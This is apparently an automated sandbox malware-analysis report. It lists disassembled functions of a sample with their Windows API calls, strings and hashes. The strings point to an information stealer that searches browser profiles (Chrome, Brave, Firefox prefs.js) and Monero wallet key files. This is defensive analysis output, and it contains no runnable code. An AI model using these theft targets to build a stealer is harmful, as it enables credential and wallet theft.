Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 4a2d14dc177e489e663bf0e60e9bcd7b11757f2bcc1942138aa1ac40dfcef1ca
Instruction ID: 27818e2c37988327f8f63d7209d9189f50ca00e9a0d2b484120c5a12cfb56456
Opcode Fuzzy Hash: 4a2d14dc177e489e663bf0e60e9bcd7b11757f2bcc1942138aa1ac40dfcef1ca
Instruction Fuzzy Hash: 78424D72900108ABCB14FB60DD96FEE737DABD4300F404558F94AA7195EE34AB49CFA2

Function 00934910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0093492C
FindFirstFileA.KERNEL32(?,?), ref: 00934943
StrCmpCA.SHLWAPI(?,00940FDC), ref: 00934971
StrCmpCA.SHLWAPI(?,00940FE0), ref: 00934987
FindNextFileA.KERNEL32(000000FF,?), ref: 00934B7D
FindClose.KERNEL32(000000FF), ref: 00934B92

Strings

%s\%s, xrefs: 009349FB
%s\*, xrefs: 00934920
%s\%s, xrefs: 009349A4

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: fdf89ea1b96e8e5e2209eb3e8f319f14cd9474e821bfff380a3293859cb24beb
Instruction ID: 251bcc3cba8a04cd9ee682d097dc2b0382ded0a4d9ba637ebdeffec0badc97b1
Opcode Fuzzy Hash: fdf89ea1b96e8e5e2209eb3e8f319f14cd9474e821bfff380a3293859cb24beb
Instruction Fuzzy Hash: 826112B1910218ABCB24EBA0DC45FEA737CBB88701F044598F609A7181EE75EB858F91

Function 00934570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00934580
RtlAllocateHeap.NTDLL(00000000), ref: 00934587
wsprintfA.USER32 ref: 009345A6
FindFirstFileA.KERNEL32(?,?), ref: 009345BD
StrCmpCA.SHLWAPI(?,00940FC4), ref: 009345EB
StrCmpCA.SHLWAPI(?,00940FC8), ref: 00934601
FindNextFileA.KERNEL32(000000FF,?), ref: 0093468B
FindClose.KERNEL32(000000FF), ref: 009346A0
lstrcat.KERNEL32(?,0105E730), ref: 009346C5
lstrcat.KERNEL32(?,0105DAF8), ref: 009346D8
lstrlen.KERNEL32(?), ref: 009346E5
lstrlen.KERNEL32(?), ref: 009346F6

Strings

%s\%s, xrefs: 0093461B
%s\*, xrefs: 0093459A

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 02b2020aae5a7f3bc26f27edfe46c5a3f3aa78cb4f5ddf259d6f879fc06db3ff
Instruction ID: ed534c28a1aff7670ef7197b72e3cb11dd9a725ef90b46d66061527048def42b
Opcode Fuzzy Hash: 02b2020aae5a7f3bc26f27edfe46c5a3f3aa78cb4f5ddf259d6f879fc06db3ff
Instruction Fuzzy Hash: F3514A715502189BCB24EB70DC89FEE777CAB94700F404598F609A7191EF75EB848F91

Function 00933EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00933EC3
FindFirstFileA.KERNEL32(?,?), ref: 00933EDA
StrCmpCA.SHLWAPI(?,00940FAC), ref: 00933F08
StrCmpCA.SHLWAPI(?,00940FB0), ref: 00933F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0093406C
FindClose.KERNEL32(000000FF), ref: 00934081

Strings

%s\%s, xrefs: 00933EB7

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 19339e2a9157e8b03ba6d499c1b1767551b2c696326572ba3ede0a99687fffc3
Instruction ID: 41c174e06e8eef46c9dca72f613e5e0d868a5fc4421919276769e8e3cf3b1166
Opcode Fuzzy Hash: 19339e2a9157e8b03ba6d499c1b1767551b2c696326572ba3ede0a99687fffc3
Instruction Fuzzy Hash: 0C5115B5900218ABCB24EBB0DC85FEA737CBB94300F404598F65997180DF75EB858F95

Function 0092ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0092ED3E
FindFirstFileA.KERNEL32(?,?), ref: 0092ED55
StrCmpCA.SHLWAPI(?,00941538), ref: 0092EDAB
StrCmpCA.SHLWAPI(?,0094153C), ref: 0092EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0092F2AE
FindClose.KERNEL32(000000FF), ref: 0092F2C3

Strings

%s\*.*, xrefs: 0092ED32

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: feb214cab59eb70ee4d52d1e2460ab09303fa584fbfa2a03a81ee4cba8bab0c4
Instruction ID: ee2f060bc2c029bf9818057c413013e7b60a9ba259f985f07235bb39504dccea
Opcode Fuzzy Hash: feb214cab59eb70ee4d52d1e2460ab09303fa584fbfa2a03a81ee4cba8bab0c4
Instruction Fuzzy Hash: 89E1C272911118AADB54FB60DC92FEE737CAF94300F4045E9B54A62092EF346F8ACF56

Function 00CE5B7A Relevance: 16.7, Strings: 12, Instructions: 1658COMMON

Download Yara Rule

Strings

TP1M, xrefs: 00CE69BA
0o., xrefs: 00CE68F2
]~S, xrefs: 00CE6752
M[gz, xrefs: 00CE5E1B
+7~, xrefs: 00CE5DDA
XKB, xrefs: 00CE5E40
@>, xrefs: 00CE6954
#Y}, xrefs: 00CE66E2
eX$r, xrefs: 00CE6B4F
fQW}, xrefs: 00CE6C5C
.{, xrefs: 00CE5C79
`Hr~, xrefs: 00CE5DC2

Memory Dump Source

Source File: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID:
String ID: #Y}$.{$@>$M[gz$TP1M$XKB$`Hr~$eX$r$fQW}$+7~$0o.$]~S
API String ID: 0-3338583099
Opcode ID: 430031bc61d8fb4261c36f8786ff51cafd4ec94452544d69f3e5432eb9babb03
Instruction ID: e669a9f36fabde5581d40edb9681a4b86d60d2887a63f0cc02be824d78224e8a
Opcode Fuzzy Hash: 430031bc61d8fb4261c36f8786ff51cafd4ec94452544d69f3e5432eb9babb03
Instruction Fuzzy Hash: 7DB229F3A0C2049FE3046E2DEC8567ABBE5EF94320F1A493DEAC5C7740EA7558058697

Function 0092F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0093A740: lstrcpy.KERNEL32(00940E17,00000000), ref: 0093A788

Part of subcall function 0093A920: lstrcpy.KERNEL32(00000000,?), ref: 0093A972
Part of subcall function 0093A920: lstrcat.KERNEL32(00000000), ref: 0093A982

Part of subcall function 0093A9B0: lstrlen.KERNEL32(?,01059110,?,\Monero\wallet.keys,00940E17), ref: 0093A9C5
Part of subcall function 0093A9B0: lstrcpy.KERNEL32(00000000), ref: 0093AA04
Part of subcall function 0093A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0093AA12

Part of subcall function 0093A8A0: lstrcpy.KERNEL32(?,00940E17), ref: 0093A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,009415B8,00940D96), ref: 0092F71E
StrCmpCA.SHLWAPI(?,009415BC), ref: 0092F76F
StrCmpCA.SHLWAPI(?,009415C0), ref: 0092F785
FindNextFileA.KERNEL32(000000FF,?), ref: 0092FAB1
FindClose.KERNEL32(000000FF), ref: 0092FAC3

Strings

prefs.js, xrefs: 0092F812

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: e9ee448e40751af583d98d0a879157dc2d141578470407d118264e0d09162158
Instruction ID: bbfdad0818441c128928076b44a1f77e3fa02f704b5abfac249b5db9c34b87ad
Opcode Fuzzy Hash: e9ee448e40751af583d98d0a879157dc2d141578470407d118264e0d09162158
Instruction Fuzzy Hash: EAB13E71900118ABDB24FB60DC96FEE7379AFD4300F4085A8E54A97195EF346B49CF92

Function 009216D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0093A740: lstrcpy.KERNEL32(00940E17,00000000), ref: 0093A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0094510C,?,?,?,009451B4,?,?,00000000,?,00000000), ref: 00921923
StrCmpCA.SHLWAPI(?,0094525C), ref: 00921973
StrCmpCA.SHLWAPI(?,00945304), ref: 00921989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00921D40
DeleteFileA.KERNEL32(00000000), ref: 00921DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00921E20
FindClose.KERNEL32(000000FF), ref: 00921E32

Part of subcall function 0093A920: lstrcpy.KERNEL32(00000000,?), ref: 0093A972
Part of subcall function 0093A920: lstrcat.KERNEL32(00000000), ref: 0093A982

Part of subcall function 0093A9B0: lstrlen.KERNEL32(?,01059110,?,\Monero\wallet.keys,00940E17), ref: 0093A9C5
Part of subcall function 0093A9B0: lstrcpy.KERNEL32(00000000), ref: 0093AA04
Part of subcall function 0093A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0093AA12

Part of subcall function 0093A8A0: lstrcpy.KERNEL32(?,00940E17), ref: 0093A905

Strings

\*.*, xrefs: 009217F1

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 68dca5ba7777e9d212e6e859396f33f404f6221852f2f0eea6bb8dc252ad169e
Instruction ID: ab0b2bae9f502d8cda696402695492de3e301d30dcab4c14bd30db51228900b7
Opcode Fuzzy Hash: 68dca5ba7777e9d212e6e859396f33f404f6221852f2f0eea6bb8dc252ad169e
Instruction Fuzzy Hash: AB121271910118ABDB19FB60DC96FEE737CAF94300F414599B14AA6091EF706F89CFA2

Function 0092DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0093A740: lstrcpy.KERNEL32(00940E17,00000000), ref: 0093A788

Part of subcall function 0093A9B0: lstrlen.KERNEL32(?,01059110,?,\Monero\wallet.keys,00940E17), ref: 0093A9C5
Part of subcall function 0093A9B0: lstrcpy.KERNEL32(00000000), ref: 0093AA04
Part of subcall function 0093A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0093AA12

Part of subcall function 0093A8A0: lstrcpy.KERNEL32(?,00940E17), ref: 0093A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00940C2E), ref: 0092DE5E
StrCmpCA.SHLWAPI(?,009414C8), ref: 0092DEAE
StrCmpCA.SHLWAPI(?,009414CC), ref: 0092DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0092E3E0
FindClose.KERNEL32(000000FF), ref: 0092E3F2

Strings

\*.*, xrefs: 0092DE26

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 74b8be297dfaa232f4914552eea390590d3d08478f983b709243fe215cef9ed2
Instruction ID: 82f16b95504cd89654d64577e8b493f15f8beb8abcb6976ed1e4cc870d20941e
Opcode Fuzzy Hash: 74b8be297dfaa232f4914552eea390590d3d08478f983b709243fe215cef9ed2
Instruction Fuzzy Hash: D0F1BF71814118AADB19FB60DC96FEE7378BF94300F8041D9B54A62091EF346F8ACF66

Function 0092DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0093A740: lstrcpy.KERNEL32(00940E17,00000000), ref: 0093A788

Part of subcall function 0093A920: lstrcpy.KERNEL32(00000000,?), ref: 0093A972
Part of subcall function 0093A920: lstrcat.KERNEL32(00000000), ref: 0093A982

Part of subcall function 0093A9B0: lstrlen.KERNEL32(?,01059110,?,\Monero\wallet.keys,00940E17), ref: 0093A9C5
Part of subcall function 0093A9B0: lstrcpy.KERNEL32(00000000), ref: 0093AA04
Part of subcall function 0093A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0093AA12

Part of subcall function 0093A8A0: lstrcpy.KERNEL32(?,00940E17), ref: 0093A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,009414B0,00940C2A), ref: 0092DAEB
StrCmpCA.SHLWAPI(?,009414B4), ref: 0092DB33
StrCmpCA.SHLWAPI(?,009414B8), ref: 0092DB49
FindNextFileA.KERNEL32(000000FF,?), ref: 0092DDCC
FindClose.KERNEL32(000000FF), ref: 0092DDDE

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: c345f06d72d5a3566fa5e8fed77a98ff7d2c03132b723ef18d118ac5ef5bde7d
Instruction ID: 0878d2f5e8656eceb84d17d753cc1d4aa87e004d51fe68e2a5b59f8a4347485c
Opcode Fuzzy Hash: c345f06d72d5a3566fa5e8fed77a98ff7d2c03132b723ef18d118ac5ef5bde7d
Instruction Fuzzy Hash: 67912172900114ABCB14FB70EC96EED737DAFD4300F408668F94A96195EE34AB598F93

